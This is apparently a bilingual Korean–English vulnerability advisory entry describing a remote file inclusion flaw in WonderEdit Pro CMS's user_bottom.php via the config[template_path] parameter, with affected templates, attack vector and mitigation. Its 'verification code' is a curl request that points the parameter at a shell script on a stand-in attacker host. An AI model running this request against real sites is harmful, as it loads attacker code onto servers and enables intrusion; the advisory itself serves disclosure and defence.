🇰🇷 한글 설명
WonderEdit Pro CMS의 user_bottom.php 파일에서 config[template_path] 매개변수를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 임의의 PHP 코드를 실행할 수 있습니다. rwb, gwb, blues, bluwhi, grns 등 여러 템플릿이 영향을 받습니다.
💡 쉬운 설명
WonderEdit Pro CMS라는 웹사이트 만드는 프로그램에서 해커가 특정 설정값을 조작하면 자신의 코드를 실행시킬 수 있는 문제입니다. 마치 문을 열 수 있는 열쇠 위치를 공개한 것과 같습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in WonderEdit Pro CMS allows remote attackers to execute arbitrary PHP code via the config[template_path] parameter in user_bottom.php, as used by multiple templates including (1) rwb (template/rwb/user_bottom.php), (2) gwb (template/rwb/user_bottom.php, (3) blues, (4) bluwhi, and (5) grns.
📍 영향받는 시스템
WonderEdit Pro CMS (모든 버전) - rwb, gwb, blues, bluwhi, grns 템플릿
⚔️ 공격 벡터
HTTP 요청의 config[template_path] 매개변수에 원격 PHP 파일 경로를 지정하여 원격 코드 실행
🛡️ 대응 방법
WonderEdit Pro를 최신 버전으로 업그레이드하거나 user_bottom.php 파일에서 template_path 입력값 검증/필터링 추가
🔧 검증 코드
공격 성공 시 원격 파일의 PHP 코드 실행 결과나 에러 메시지가 출력되면 취약점 확인됨
curl -s 'http://target/user_bottom.php?config[template_path]=http://attacker.com/shell.php' 2>/dev/null | grep -i 'shell\|error\|warning'